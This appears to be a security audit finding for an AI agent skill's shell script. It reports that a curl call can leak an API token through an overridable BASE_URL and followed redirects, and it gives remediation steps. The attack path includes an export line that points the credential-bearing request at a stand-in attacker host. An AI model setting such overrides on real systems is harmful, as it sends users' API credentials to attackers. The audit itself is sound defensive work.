T09 · Insecure Skill Coding Practices
- Location
scripts/query_enterprises.sh:4- Finding
API Token Disclosure Through an Unrestricted Base URL and Cross-Origin Redirects
- Content
View full analysis
Vulnerability Details
File Location:
scripts/query_enterprises.sh, lines 4 and 157-161
Vulnerability Type: Credential exfiltration through an attacker-controlled destination or HTTP redirect
Risk Level: MediumVulnerable Code
bash BASE_URL="${BASE_URL:-https://mcp.applications.jiqizhixin.com}"bash curl -sS --location --request POST "${BASE_URL%/}/api/v1/enterprises" \ --header "X-MCP-TOKEN: ${API_TOKEN_FROM_ENV}" \ --header "Content-Type: application/json" \ --data "${BODY}"Technical Analysis
The script permits
BASE_URLto be overridden by an environment variable and then sends the secretJQZX_API_TOKENto that destination in the customX-MCP-TOKENheader. It performs no scheme or hostname validation before transmitting the credential.An attacker who can influence the execution environment can set
BASE_URLto an attacker-operated HTTPS endpoint. Invoking the otherwise legitimate script then directly discloses the API token to that endpoint.In addition,
curl --locationautomatically follows HTTP redirects. A custom authentication header such asX-MCP-TOKENmay be retained across redirect requests, including redirects to another origin, depending on curl behavior and version. Consequently, a compromised, misconfigured, or malicious API endpoint could redirect the request to an attacker-controlled host and cause the token to be disclosed there.JSON body construction uses
jq, so the query arguments do not create shell-command injection in the reviewed implementation. The security issue is specifically the unrestricted credential destination and redirect behavior.Attack Path
Environment-variable attack path:
- The victim configures a valid
JQZX_API_TOKEN. - An attacker influences the shell, wrapper, CI job, agent environment, or invocation configuration and defines:
bash export BASE_URL="https://attacker.example"
...[truncated 1549 chars]
- The victim configures a valid
- Remediation
View remediation
Remediation Suggestions
-
Remove the production
BASE_URLoverride unless it is operationally necessary:bash readonly BASE_URL="https://mcp.applications.jiqizhixin.com" -
If endpoint overrides are required for testing, validate the parsed URL before sending credentials. Require HTTPS and an explicit hostname allowlist:
bash case "$BASE_URL" in "https://mcp.applications.jiqizhixin.com") ;; *) echo "Refusing to send credentials to an untrusted API endpoint" >&2 exit 1 ;; esac -
Disable redirects for authenticated API requests by removing
--location. If redirects are operationally required, handle them explicitly and only follow redirects whose scheme and hostname match the approved origin. -
Do not rely solely on curl's version-dependent treatment of sensitive headers. Ensure the token header is attached only after destination validation and never reused for a cross-origin request.
-
In CI and agent environments, prevent untrusted jobs, skill inputs, or wrapper scripts from modifying endpoint-related environment variables.
-
Rotate any token that may have been used while
BASE_URLwas controlled by an untrusted party or while the endpoint returned unverified redirects. Review API logs for anomalous token use.
-
